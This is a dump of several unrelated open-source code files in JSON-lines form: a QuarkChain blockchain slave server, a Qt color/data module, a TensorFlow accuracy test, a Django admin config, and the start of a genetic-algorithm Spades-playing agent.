ClusterOp.BATCH_ADD_XSHARD_TX_LIST_REQUEST: (\n ClusterOp.BATCH_ADD_XSHARD_TX_LIST_RESPONSE,\n SlaveConnection.handle_batch_add_xshard_tx_list_request,\n ),\n}\n\n\nclass SlaveConnectionManager:\n \"\"\"Manage a list of connections to other slaves\"\"\"\n\n def __init__(self, env, slave_server):\n self.env = env\n self.slave_server = slave_server\n self.full_shard_id_to_slaves = dict() # full_shard_id -> list of slaves\n for full_shard_id in self.env.quark_chain_config.get_full_shard_ids():\n self.full_shard_id_to_slaves[full_shard_id] = []\n self.slave_connections = set()\n self.slave_ids = set() # set(bytes)\n self.loop = asyncio.get_event_loop()\n\n def close_all(self):\n for conn in self.slave_connections:\n conn.close()\n\n def get_connections_by_full_shard_id(self, full_shard_id: int):\n return self.full_shard_id_to_slaves[full_shard_id]\n\n def _add_slave_connection(self, slave: SlaveConnection):\n self.slave_ids.add(slave.id)\n self.slave_connections.add(slave)\n for full_shard_id in self.env.quark_chain_config.get_full_shard_ids():\n if full_shard_id in slave.full_shard_id_list:\n self.full_shard_id_to_slaves[full_shard_id].append(slave)\n\n async def handle_new_connection(self, reader, writer):\n \"\"\" Handle incoming connection \"\"\"\n # slave id and full_shard_id_list will be set in handle_ping()\n slave_conn = SlaveConnection(\n self.env,\n reader,\n writer,\n self.slave_server,\n None, # slave id\n None, # full_shard_id_list\n )\n await slave_conn.wait_until_ping_received()\n slave_conn.name = \"{}<->{}\".format(\n self.slave_server.id.decode(\"ascii\"), slave_conn.id.decode(\"ascii\")\n )\n self._add_slave_connection(slave_conn)\n\n async def connect_to_slave(self, slave_info: SlaveInfo) -> str:\n \"\"\" Create a connection to a slave server.\n Returns empty str on success otherwise return the error message.\"\"\"\n if slave_info.id == self.slave_server.id or slave_info.id in self.slave_ids:\n return \"\"\n\n host = slave_info.host.decode(\"ascii\")\n port = slave_info.port\n try:\n reader, writer = await asyncio.open_connection(host, port, loop=self.loop)\n except Exception as e:\n err_msg = \"Failed to connect {}:{} with exception {}\".format(host, port, e)\n Logger.info(err_msg)\n return err_msg\n\n conn_name = \"{}<->{}\".format(\n self.slave_server.id.decode(\"ascii\"), slave_info.id.decode(\"ascii\")\n )\n slave = SlaveConnection(\n self.env,\n reader,\n writer,\n self.slave_server,\n slave_info.id,\n slave_info.full_shard_id_list,\n conn_name,\n )\n await slave.wait_until_active()\n # Tell the remote slave who I am\n id, full_shard_id_list = await slave.send_ping()\n # Verify that remote slave indeed has the id and shard mask list advertised by the master\n if id != slave.id:\n return \"id does not match. expect {} got {}\".format(slave.id, id)\n if full_shard_id_list != slave.full_shard_id_list:\n return \"shard list does not match. expect {} got {}\".format(\n slave.full_shard_id_list, full_shard_id_list\n )\n\n self._add_slave_connection(slave)\n return \"\"\n\n\nclass SlaveServer:\n \"\"\" Slave node in a cluster \"\"\"\n\n def __init__(self, env, name=\"slave\"):\n self.loop = asyncio.get_event_loop()\n self.env = env\n self.id = bytes(self.env.slave_config.ID, \"ascii\")\n self.full_shard_id_list = self.env.slave_config.FULL_SHARD_ID_LIST\n\n # shard id -> a list of slave running the shard\n self.slave_connection_manager = SlaveConnectionManager(env, self)\n\n # A set of active cluster peer ids for building Shard.peers when creating new Shard.\n self.cluster_peer_ids = set()\n\n self.master = None\n self.name = name\n self.mining = False\n\n self.artificial_tx_config = None\n self.shards = dict() # type: Dict[Branch, Shard]\n self.shutdown_future = self.loop.create_future()\n\n # block hash -> future (that will return when the block is fully propagated in the cluster)\n # the block that has been added locally but not have been fully propagated will have an entry here\n self.add_block_futures = dict()\n self.shard_subscription_managers = dict()\n\n def __cover_shard_id(self, full_shard_id):\n \"\"\" Does the shard belong to this slave? \"\"\"\n if full_shard_id in self.full_shard_id_list:\n return True\n return False\n\n def add_cluster_peer_id(self, cluster_peer_id):\n self.cluster_peer_ids.add(cluster_peer_id)\n\n def remove_cluster_peer_id(self, cluster_peer_id):\n if cluster_peer_id in self.cluster_peer_ids:\n self.cluster_peer_ids.remove(cluster_peer_id)\n\n async def create_shards(self, root_block: RootBlock):\n \"\"\" Create shards based on GENESIS config and root block height if they have\n not been created yet.\"\"\"\n\n async def __init_shard(shard):\n await shard.init_from_root_block(root_block)\n await shard.create_peer_shard_connections(\n self.cluster_peer_ids, self.master\n )\n self.shard_subscription_managers[\n shard.full_shard_id\n ] = shard.state.subscription_manager\n branch = Branch(shard.full_shard_id)\n self.shards[branch] = shard\n if self.mining:\n shard.miner.start()\n\n new_shards = []\n for (full_shard_id, shard_config) in self.env.quark_chain_config.shards.items():\n branch = Branch(full_shard_id)\n if branch in self.shards:\n continue\n if not self.__cover_shard_id(full_shard_id) or not shard_config.GENESIS:\n continue\n if root_block.header.height >= shard_config.GENESIS.ROOT_HEIGHT:\n new_shards.append(Shard(self.env, full_shard_id, self))\n\n await asyncio.gather(*[__init_shard(shard) for shard in new_shards])\n\n def start_mining(self, artificial_tx_config):\n self.artificial_tx_config = artificial_tx_config\n self.mining = True\n for branch, shard in self.shards.items():\n Logger.info(\n \"[{}] start mining with target minor block time {} seconds\".format(\n branch.to_str(), artificial_tx_config.target_minor_block_time\n )\n )\n shard.miner.start()\n\n def create_transactions(\n self, num_tx_per_shard, x_shard_percent, tx: TypedTransaction\n ):\n for shard in self.shards.values():\n shard.tx_generator.generate(num_tx_per_shard, x_shard_percent, tx)\n\n def stop_mining(self):\n self.mining = False\n for branch, shard in self.shards.items():\n Logger.info(\"[{}] stop mining\".format(branch.to_str()))\n shard.miner.disable()\n\n async def __handle_new_connection(self, reader, writer):\n # The first connection should always come from master\n if not self.master:\n self.master = MasterConnection(\n self.env, reader, writer, self, name=\"{}_master\".format(self.name)\n )\n return\n await self.slave_connection_manager.handle_new_connection(reader, writer)\n\n async def __start_server(self):\n \"\"\" Run the server until shutdown is called \"\"\"\n self.server = await asyncio.start_server(\n self.__handle_new_connection,\n \"0.0.0.0\",\n self.env.slave_config.PORT,\n loop=self.loop,\n )\n Logger.info(\n \"Listening on {} for intra-cluster RPC\".format(\n self.server.sockets[0].getsockname()\n )\n )\n\n def start(self):\n self.loop.create_task(self.__start_server())\n\n def do_loop(self):\n try:\n self.loop.run_until_complete(self.shutdown_future)\n except KeyboardInterrupt:\n pass\n\n def shutdown(self):\n if not self.shutdown_future.done():\n self.shutdown_future.set_result(None)\n\n self.slave_connection_manager.close_all()\n self.server.close()\n\n def get_shutdown_future(self):\n return self.shutdown_future\n\n # Cluster functions\n\n async def send_minor_block_header_to_master(\n self,\n minor_block_header,\n tx_count,\n x_shard_tx_count,\n coinbase_amount_map: TokenBalanceMap,\n shard_stats,\n ):\n \"\"\" Update master that a minor block has been appended successfully \"\"\"\n request = AddMinorBlockHeaderRequest(\n minor_block_header,\n tx_count,\n x_shard_tx_count,\n coinbase_amount_map,\n shard_stats,\n )\n _, resp, _ = await self.master.write_rpc_request(\n ClusterOp.ADD_MINOR_BLOCK_HEADER_REQUEST, request\n )\n check(resp.error_code == 0)\n self.artificial_tx_config = resp.artificial_tx_config\n\n async def send_minor_block_header_list_to_master(\n self, minor_block_header_list, coinbase_amount_map_list\n ):\n request = AddMinorBlockHeaderListRequest(\n minor_block_header_list, coinbase_amount_map_list\n )\n _, resp, _ = await self.master.write_rpc_request(\n ClusterOp.ADD_MINOR_BLOCK_HEADER_LIST_REQUEST, request\n )\n check(resp.error_code == 0)\n\n def __get_branch_to_add_xshard_tx_list_request(\n self, block_hash, xshard_tx_list, prev_root_height\n ):\n xshard_map = dict() # type: Dict[Branch, List[CrossShardTransactionDeposit]]\n\n # only broadcast to the shards that have been initialized\n initialized_full_shard_ids = self.env.quark_chain_config.get_initialized_full_shard_ids_before_root_height(\n prev_root_height\n )\n for full_shard_id in initialized_full_shard_ids:\n branch = Branch(full_shard_id)\n xshard_map[branch] = []\n\n for xshard_tx in xshard_tx_list:\n full_shard_id = self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n xshard_tx.to_address.full_shard_key\n )\n branch = Branch(full_shard_id)\n check(branch in xshard_map)\n xshard_map[branch].append(xshard_tx)\n\n branch_to_add_xshard_tx_list_request = (\n dict()\n ) # type: Dict[Branch, AddXshardTxListRequest]\n for branch, tx_list in xshard_map.items():\n cross_shard_tx_list = CrossShardTransactionList(tx_list)\n\n request = AddXshardTxListRequest(branch, block_hash, cross_shard_tx_list)\n branch_to_add_xshard_tx_list_request[branch] = request\n\n return branch_to_add_xshard_tx_list_request\n\n async def broadcast_xshard_tx_list(self, block, xshard_tx_list, prev_root_height):\n \"\"\" Broadcast x-shard transactions to their recipient shards \"\"\"\n\n block_hash = block.header.get_hash()\n branch_to_add_xshard_tx_list_request = self.__get_branch_to_add_xshard_tx_list_request(\n block_hash, xshard_tx_list, prev_root_height\n )\n rpc_futures = []\n for branch, request in branch_to_add_xshard_tx_list_request.items():\n if branch == block.header.branch or not is_neighbor(\n block.header.branch,\n branch,\n len(\n self.env.quark_chain_config.get_initialized_full_shard_ids_before_root_height(\n prev_root_height\n )\n ),\n ):\n check(\n len(request.tx_list.tx_list) == 0,\n \"there shouldn't be xshard list for non-neighbor shard ({} -> {})\".format(\n block.header.branch.value, branch.value\n ),\n )\n continue\n\n if branch in self.shards:\n self.shards[branch].state.add_cross_shard_tx_list_by_minor_block_hash(\n block_hash, request.tx_list\n )\n\n for (\n slave_conn\n ) in self.slave_connection_manager.get_connections_by_full_shard_id(\n branch.get_full_shard_id()\n ):\n future = slave_conn.write_rpc_request(\n ClusterOp.ADD_XSHARD_TX_LIST_REQUEST, request\n )\n rpc_futures.append(future)\n responses = await asyncio.gather(*rpc_futures)\n check(all([response.error_code == 0 for _, response, _ in responses]))\n\n async def batch_broadcast_xshard_tx_list(\n self,\n block_hash_to_xshard_list_and_prev_root_height: Dict[bytes, Tuple[List, int]],\n source_branch: Branch,\n ):\n branch_to_add_xshard_tx_list_request_list = dict()\n for (\n block_hash,\n x_shard_list_and_prev_root_height,\n ) in block_hash_to_xshard_list_and_prev_root_height.items():\n xshard_tx_list = x_shard_list_and_prev_root_height[0]\n prev_root_height = x_shard_list_and_prev_root_height[1]\n branch_to_add_xshard_tx_list_request = self.__get_branch_to_add_xshard_tx_list_request(\n block_hash, xshard_tx_list, prev_root_height\n )\n for branch, request in branch_to_add_xshard_tx_list_request.items():\n if branch == source_branch or not is_neighbor(\n branch,\n source_branch,\n len(\n self.env.quark_chain_config.get_initialized_full_shard_ids_before_root_height(\n prev_root_height\n )\n ),\n ):\n check(\n len(request.tx_list.tx_list) == 0,\n \"there shouldn't be xshard list for non-neighbor shard ({} -> {})\".format(\n source_branch.value, branch.value\n ),\n )\n continue\n\n branch_to_add_xshard_tx_list_request_list.setdefault(branch, []).append(\n request\n )\n\n rpc_futures = []\n for branch, request_list in branch_to_add_xshard_tx_list_request_list.items():\n if branch in self.shards:\n for request in request_list:\n self.shards[\n branch\n ].state.add_cross_shard_tx_list_by_minor_block_hash(\n request.minor_block_hash, request.tx_list\n )\n\n batch_request = BatchAddXshardTxListRequest(request_list)\n for (\n slave_conn\n ) in self.slave_connection_manager.get_connections_by_full_shard_id(\n branch.get_full_shard_id()\n ):\n future = slave_conn.write_rpc_request(\n ClusterOp.BATCH_ADD_XSHARD_TX_LIST_REQUEST, batch_request\n )\n rpc_futures.append(future)\n responses = await asyncio.gather(*rpc_futures)\n check(all([response.error_code == 0 for _, response, _ in responses]))\n\n async def add_block_list_for_sync(self, block_list):\n \"\"\" Add blocks in batch to reduce RPCs. Will NOT broadcast to peers.\n Returns true if blocks are successfully added. False on any error.\n \"\"\"\n if not block_list:\n return True, None\n branch = block_list[0].header.branch\n shard = self.shards.get(branch, None)\n check(shard is not None)\n return await shard.add_block_list_for_sync(block_list)\n\n def add_tx(self, tx: TypedTransaction) -> bool:\n evm_tx = tx.tx.to_evm_tx()\n evm_tx.set_quark_chain_config(self.env.quark_chain_config)\n branch = Branch(evm_tx.from_full_shard_id)\n shard = self.shards.get(branch, None)\n if not shard:\n return False\n return shard.add_tx(tx)\n\n def execute_tx(\n self, tx: TypedTransaction, from_address: Address, height: Optional[int]\n ) -> Optional[bytes]:\n evm_tx = tx.tx.to_evm_tx()\n evm_tx.set_quark_chain_config(self.env.quark_chain_config)\n branch = Branch(evm_tx.from_full_shard_id)\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.execute_tx(tx, from_address, height)\n\n def get_transaction_count(self, address):\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_transaction_count(address.recipient)\n\n def get_balances(self, address):\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_balances(address.recipient)\n\n def get_token_balance(self, address):\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_token_balance(address.recipient)\n\n def get_account_data(\n self, address: Address, block_height: Optional[int]\n ) -> List[AccountBranchData]:\n results = []\n for branch, shard in self.shards.items():\n token_balances = shard.state.get_balances(address.recipient, block_height)\n is_contract = len(shard.state.get_code(address.recipient, block_height)) > 0\n mined, posw_mineable = shard.state.get_mining_info(\n address.recipient, token_balances\n )\n results.append(\n AccountBranchData(\n branch=branch,\n transaction_count=shard.state.get_transaction_count(\n address.recipient, block_height\n ),\n token_balances=TokenBalanceMap(token_balances),\n is_contract=is_contract,\n mined_blocks=mined,\n posw_mineable_blocks=posw_mineable,\n )\n )\n return results\n\n def get_minor_block_by_hash(\n self, block_hash, branch: Branch, need_extra_info\n ) -> Tuple[Optional[MinorBlock], Optional[Dict]]:\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_minor_block_by_hash(block_hash, need_extra_info)\n\n def get_minor_block_by_height(\n self, height, branch, need_extra_info\n ) -> Tuple[Optional[MinorBlock], Optional[Dict]]:\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_minor_block_by_height(height, need_extra_info)\n\n def get_transaction_by_hash(self, tx_hash, branch):\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_transaction_by_hash(tx_hash)\n\n def get_transaction_receipt(\n self, tx_hash, branch\n ) -> Optional[Tuple[MinorBlock, int, TransactionReceipt]]:\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_transaction_receipt(tx_hash)\n\n def get_all_transactions(self, branch: Branch, start: bytes, limit: int):\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_all_transactions(start, limit)\n\n def get_transaction_list_by_address(\n self,\n address: Address,\n transfer_token_id: Optional[int],\n start: bytes,\n limit: int,\n ):\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_transaction_list_by_address(\n address, transfer_token_id, start, limit\n )\n\n def get_logs(\n self,\n addresses: List[Address],\n topics: List[Optional[Union[str, List[str]]]],\n start_block: int,\n end_block: int,\n branch: Branch,\n ) -> Optional[List[Log]]:\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_logs(addresses, topics, start_block, end_block)\n\n def estimate_gas(self, tx: TypedTransaction, from_address) -> Optional[int]:\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n from_address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.estimate_gas(tx, from_address)\n\n def get_storage_at(\n self, address: Address, key: int, block_height: Optional[int]\n ) -> Optional[bytes]:\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_storage_at(address.recipient, key, block_height)\n\n def get_code(\n self, address: Address, block_height: Optional[int]\n ) -> Optional[bytes]:\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.get_code(address.recipient, block_height)\n\n def gas_price(self, branch: Branch, token_id: int) -> Optional[int]:\n shard = self.shards.get(branch, None)\n if not shard:\n return None\n return shard.state.gas_price(token_id)\n\n async def get_work(\n self, branch: Branch, coinbase_addr: Optional[Address] = None\n ) -> Optional[MiningWork]:\n if branch not in self.shards:\n return None\n default_addr = Address.create_from(\n self.env.quark_chain_config.shards[branch.value].COINBASE_ADDRESS\n )\n try:\n shard = self.shards[branch]\n work, block = await shard.miner.get_work(coinbase_addr or default_addr)\n check(isinstance(block, MinorBlock))\n posw_diff = shard.state.posw_diff_adjust(block)\n if posw_diff is not None and posw_diff != work.difficulty:\n work = MiningWork(work.hash, work.height, posw_diff)\n return work\n except Exception:\n Logger.log_exception()\n return None\n\n async def submit_work(\n self, branch: Branch, header_hash: bytes, nonce: int, mixhash: bytes\n ) -> Optional[bool]:\n try:\n return await self.shards[branch].miner.submit_work(\n header_hash, nonce, mixhash\n )\n except Exception:\n Logger.log_exception()\n return None\n\n def get_root_chain_stakes(\n self, address: Address, block_hash: bytes\n ) -> (int, bytes):\n branch = Branch(\n self.env.quark_chain_config.get_full_shard_id_by_full_shard_key(\n address.full_shard_key\n )\n )\n # only applies to chain 0 shard 0\n check(branch.value == 1)\n shard = self.shards.get(branch, None)\n check(shard is not None)\n return shard.state.get_root_chain_stakes(address.recipient, block_hash)\n\n def get_total_balance(\n self,\n branch: Branch,\n start: Optional[bytes],\n token_id: int,\n block_hash: bytes,\n root_block_hash: Optional[bytes],\n limit: int,\n ) -> Tuple[int, bytes]:\n shard = self.shards.get(branch, None)\n check(shard is not None)\n return shard.state.get_total_balance(\n token_id, block_hash, root_block_hash, limit, start\n )\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n ClusterConfig.attach_arguments(parser)\n # Unique Id identifying the node in the cluster\n parser.add_argument(\"--node_id\", default=\"\", type=str)\n parser.add_argument(\"--enable_profiler\", default=False, type=bool)\n args = parser.parse_args()\n\n env = DEFAULT_ENV.copy()\n env.cluster_config = ClusterConfig.create_from_args(args)\n env.slave_config = env.cluster_config.get_slave_config(args.node_id)\n env.arguments = args\n\n return env\n\n\ndef main():\n from quarkchain.cluster.jsonrpc import JSONRPCWebsocketServer\n\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n env = parse_args()\n\n if env.arguments.enable_profiler:\n profile = cProfile.Profile()\n profile.enable()\n slave_server = SlaveServer(env)\n slave_server.start()\n\n callbacks = []\n if env.slave_config.WEBSOCKET_JSON_RPC_PORT is not None:\n json_rpc_websocket_server = JSONRPCWebsocketServer.start_websocket_server(\n env, slave_server\n )\n callbacks.append(json_rpc_websocket_server.shutdown)\n\n slave_server.do_loop()\n if env.arguments.enable_profiler:\n profile.disable()\n profile.print_stats(\"time\")\n\n Logger.info(\"Slave server is shutdown\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"QuarkChain/pyquarkchain","sub_path":"quarkchain/cluster/slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":55776,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"32"} +{"seq_id":"28754933141","text":"from dataclasses import dataclass\n\nfrom qtpy.QtGui import QColor\n\n\n@dataclass\nclass MOData:\n mo_number: int\n mo_symmetry: str\n energy: float\n ao_type: \"list[str]\"\n percentage: \"list[float]\"\n ao_len: int\n\n\nclass TableData:\n def __init__(self):\n self.mo_data: \"list[MOData]\" = []\n self.column_max_len: int = 0\n\n def reset(self):\n self.mo_data = []\n self.column_max_len = 0\n\n\ntable_data = TableData()\n\n\n@dataclass\nclass ColorPopupInfo:\n color: QColor\n name: str\n message: str\n\n\nclass Color:\n def __init__(self):\n # Default color\n self.color_type = \"default\"\n self.change_color_templates(self.color_type)\n\n def __eq__(self, __value: object):\n if not isinstance(__value, Color):\n return NotImplemented\n # Compare all colors\n if self.core != __value.core:\n return False\n elif self.inactive != __value.inactive:\n return False\n elif self.ras1 != __value.ras1:\n return False\n elif self.active != __value.active:\n return False\n elif self.ras3 != __value.ras3:\n return False\n elif self.secondary != __value.secondary:\n return False\n else:\n return True\n\n def __ne__(self, __value: object) -> bool:\n return not self.__eq__(__value)\n\n def get_color_info(self, q_color: QColor):\n if q_color.name() in self.colormap:\n return self.colormap[q_color.name()]\n else:\n msg = f\"Cannot find the corresponding color. q_color: {q_color.name()}, {q_color.getRgb()}\"\n raise ValueError(msg)\n\n def change_color_templates(self, color_type: str):\n if color_type == \"default\":\n # Default color\n self.core = ColorPopupInfo(QColor(\"#D3E8EB\"), \"core\", \"core(Pale Blue)\")\n self.inactive = ColorPopupInfo(QColor(\"#D5ECD4\"), \"inactive\", \"inactive(Pale Green)\")\n self.ras1 = ColorPopupInfo(QColor(\"#BBA0CB\"), \"ras1\", \"ras1(Pale Purple)\")\n self.active = ColorPopupInfo(QColor(\"#F4D9D9\"), \"active\", \"active, ras2(Pale Pink)\")\n self.ras3 = ColorPopupInfo(QColor(\"#FFB7C5\"), \"ras3\", \"ras3(Pastel Pink)\")\n self.secondary = ColorPopupInfo(QColor(\"#FDF4CD\"), \"secondary\", \"secondary(Pale Yellow)\")\n elif color_type == \"For red-green color blindness\":\n # For red-green color blindness\n self.core = ColorPopupInfo(QColor(\"#6495ED\"), \"core\", \"core(Cornflower blue)\")\n self.inactive = ColorPopupInfo(QColor(\"#FFA07A\"), \"inactive\", \"inactive(Light salmon)\")\n self.ras1 = ColorPopupInfo(QColor(\"#32CD32\"), \"ras1\", \"ras1(Lime green)\")\n self.active = ColorPopupInfo(QColor(\"#ADFF2F\"), \"active\", \"active, ras2(Green yellow)\")\n self.ras3 = ColorPopupInfo(QColor(\"#FFFF00\"), \"ras3\", \"ras3(Yellow)\")\n self.secondary = ColorPopupInfo(QColor(\"#DA70D6\"), \"secondary\", \"secondary(Orchid)\")\n elif color_type == \"For green-yellow color blindness\":\n # For green-yellow color blindness\n self.core = ColorPopupInfo(QColor(\"#F08080\"), \"core\", \"core(Light coral)\")\n self.inactive = ColorPopupInfo(QColor(\"#90EE90\"), \"inactive\", \"inactive(Light green)\")\n self.ras1 = ColorPopupInfo(QColor(\"#4682B4\"), \"ras1\", \"ras1(Steel blue)\")\n self.active = ColorPopupInfo(QColor(\"#FF1493\"), \"active\", \"active, ras2(Deep pink)\")\n self.ras3 = ColorPopupInfo(QColor(\"#FFD700\"), \"ras3\", \"ras3(Gold)\")\n self.secondary = ColorPopupInfo(QColor(\"#6A5ACD\"), \"secondary\", \"secondary(Slate blue)\")\n else:\n msg = f\"Invalid color type: {color_type}\"\n raise ValueError(msg)\n self.color_type = color_type\n\n # colormap is a dictionary that maps QColor.name() to ColorPopupInfo\n # QColor is not hashable, so I use QColor.name() instead of QColor for dictionary keys.\n self.colormap = {\n self.core.color.name(): self.core,\n self.inactive.color.name(): self.inactive,\n self.ras1.color.name(): self.ras1,\n self.active.color.name(): self.active,\n self.ras3.color.name(): self.ras3,\n self.secondary.color.name(): self.secondary,\n }\n\n\ncolors = Color()\n","repo_name":"kohei-noda-qcrg/dcaspt2_input_generator","sub_path":"src/dcaspt2_input_generator/components/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72046813211","text":"import pathlib\nimport sys\n\nimport tensorflow as tf\n\nfrom .configs import test_configs\nfrom ..utils import get_project_dir, cprint\n\n\ndef test_model_accuracy(model_path: pathlib.Path):\n acc_value = test_configs.get(\"acc_value\", 95)\n cprint(f\"Model Accuracy Test for {acc_value}%\", color=\"blue\", bright=True, header=True)\n cprint(f\"Model {model_path.name}\", color=\"blue\", bright=True, header=True)\n acc_test_value = acc_value / 100\n model = tf.keras.models.load_model(model_path)\n test_data_path = get_project_dir() / \"data/test\"\n test_ds = tf.keras.utils.image_dataset_from_directory(\n test_data_path, image_size=(100, 100), batch_size=64\n )\n _, accuracy = model.evaluate(test_ds)\n color = \"green\" if accuracy >= acc_test_value else \"red\"\n cprint(f\"Model accuracy: {accuracy:.2%} - Threshold value: {acc_test_value:.2%}\", color=color, bright=True)\n assert accuracy >= acc_test_value\n","repo_name":"FadyGrAb/fruit-origins","sub_path":"model-tensorflow/bin/model-utils/modelutils/scripts/tests/model_test.py","file_name":"model_test.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"71003236891","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.forms.models import BaseInlineFormSet\n# from products.models_lists import (\n# ClosedPurchaseGroupRel,\n# Pricelist,\n# PricelistCustomerRel,\n# )\nfrom products.models_order import Order\n\nfrom .forms import CustomUserChangeForm, CustomUserCreationForm\nfrom .models import Addresses, Company, CustomUser, GroupExtend\n\n\nclass ChildInlineFormSet(BaseInlineFormSet):\n def get_queryset(self):\n if self.instance.get_group_code() == \"TRADE\":\n qs = Order.objects.filter(company_id__uuid=self.instance.company_id.uuid)\n else:\n qs = Order.objects.filter(customer__id=self.instance.id)\n return qs\n\n\nclass OrderInline(admin.TabularInline):\n model = Order\n formset = ChildInlineFormSet\n extra = 0\n can_delete = False\n max_num = 0\n\n def has_change_permission(self, request, obj=None):\n return False\n\n\nclass CustomUserAdmin(UserAdmin):\n # inlines = [\n # OrderInline,\n # ]\n add_form = CustomUserCreationForm\n form = CustomUserChangeForm\n model = CustomUser\n list_display = (\"email\", \"company_name\", \"role\", \"is_staff\", \"is_active\", \"is_superuser\")\n list_filter = (\"email\", \"company_name\", \"role\", \"is_staff\", \"is_active\", \"is_superuser\")\n fieldsets = (\n (None, {\"fields\": (\"email\", \"password\")}),\n (\n \"Permissions\",\n {\n \"fields\": (\n \"role\",\n \"is_staff\",\n \"is_active\",\n \"is_superuser\",\n \"first_name\",\n \"last_name\",\n \"company_id\",\n \"group_id\",\n \"company_name\",\n \"email_override\",\n )\n },\n ),\n )\n add_fieldsets = (\n (\n None,\n {\n \"classes\": (\"wide\",),\n \"fields\": (\n \"email\",\n \"password1\",\n \"password2\",\n \"is_staff\",\n \"is_active\",\n \"is_superuser\",\n \"first_name\",\n \"last_name\",\n \"company_id\",\n \"group_id\",\n \"user_permissions\",\n ),\n },\n ),\n )\n search_fields = (\"email\",)\n ordering = (\"email\",)\n\n\nclass AddressInline(admin.TabularInline):\n model = Addresses\n extra = 0\n can_delete = False\n max_num = 0\n\n def has_change_permission(self, request, obj=None):\n return False\n\n\nclass CustomerInline(admin.TabularInline):\n model = CustomUser\n extra = 0\n can_delete = False\n max_num = 0\n fields = (\"email\", \"first_name\", \"last_name\")\n\n def has_change_permission(self, request, obj=None):\n return False\n\n\nclass OrderInline(admin.TabularInline):\n model = Order\n extra = 0\n can_delete = False\n max_num = 0\n show_change_link = True\n fields = (\n \"uuid\",\n \"order_notes\",\n \"payment_type\",\n \"order_total\",\n \"purchase_order_ref\",\n )\n\n def has_change_permission(self, request, obj=None):\n return False\n\n\n# class PricelistInLine(admin.TabularInline):\n#\n# model = PricelistCustomerRel\n# extra = 0\n# can_delete = False\n# max_num = 0\n#\n# def has_change_permission(self, request, obj=None):\n# return False\n\n\nclass CompanyAdmin(admin.ModelAdmin):\n # inlines = (AddressInline, CustomerInline, OrderInline, PricelistInLine) # before\n inlines = (AddressInline, CustomerInline, OrderInline)\n\n\n\n# class CompanyClosedPurchaseGroupInLine(admin.TabularInline):\n# model = ClosedPurchaseGroupRel\n# extra = 0\n\n\n# class CompanyPricelistInLine(admin.TabularInline):\n# model = PricelistCustomerRel\n# extra = 0\n# max_num = 1\n\n\n# class CompanyCPGAndPricelistAdmin(admin.ModelAdmin):\n# inlines = (CompanyClosedPurchaseGroupInLine, CompanyPricelistInLine)\n\n\nadmin.site.register(CustomUser, CustomUserAdmin)\nadmin.site.register(Addresses)\nadmin.site.register(GroupExtend)\n# admin.site.register(Company, CompanyCPGAndPricelistAdmin) # before\nadmin.site.register(Company)\n","repo_name":"Kiennguyen97/vue_django_demo","sub_path":"back-end/src/customers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71566015451","text":"import os\nimport ujson\nimport numpy as np\nimport queue\nimport multiprocessing\n\nfrom agent import AgentBase, TrainedAgent\nfrom cards import Bid, Card, Hand\nfrom util import get_first_card, get_first_one_2d, logger\nfrom spades import Spades, multiprocess_spades_game\n\n\nclass ConstantWeightsGenetic(TrainedAgent):\n \"\"\"\n Each agent has a set of weights for bidding and for playing.\n To select an action, it randomly selects according to its weights.\n\n The agent trains through a genetic evolution method, where each iteration,\n N agents play each other for G games. Then, the X best agents are retained,\n and the remaining (N - X) are replenished through crossover of the weights of the X best.\n \"\"\"\n\n def __init__(self, bid_weights=None, play_weights=None, bid_weights_file: str = None, play_weights_file: str = None):\n \"\"\"\n Prioritizes passed in weight arrays over filename strings\n \"\"\"\n super().__init__()\n\n self.rng = np.random.default_rng()\n self.win_count = 0 # used for genetic evolution training algorithm\n\n if bid_weights is not None:\n self.bid_weights = bid_weights\n elif bid_weights_file is not None:\n self.bid_weights = np.load(bid_weights_file)\n if self.bid_weights.shape != (1, Bid.BID_LEN):\n raise AttributeError(f\"bid weights file must encode a (1, {Bid.BID_LEN}) array\")\n else:\n # self.bid_weights = self.rng.random((1, Bid.BID_LEN))\n self.bid_weights = np.array([[0, 0, 0, 1, 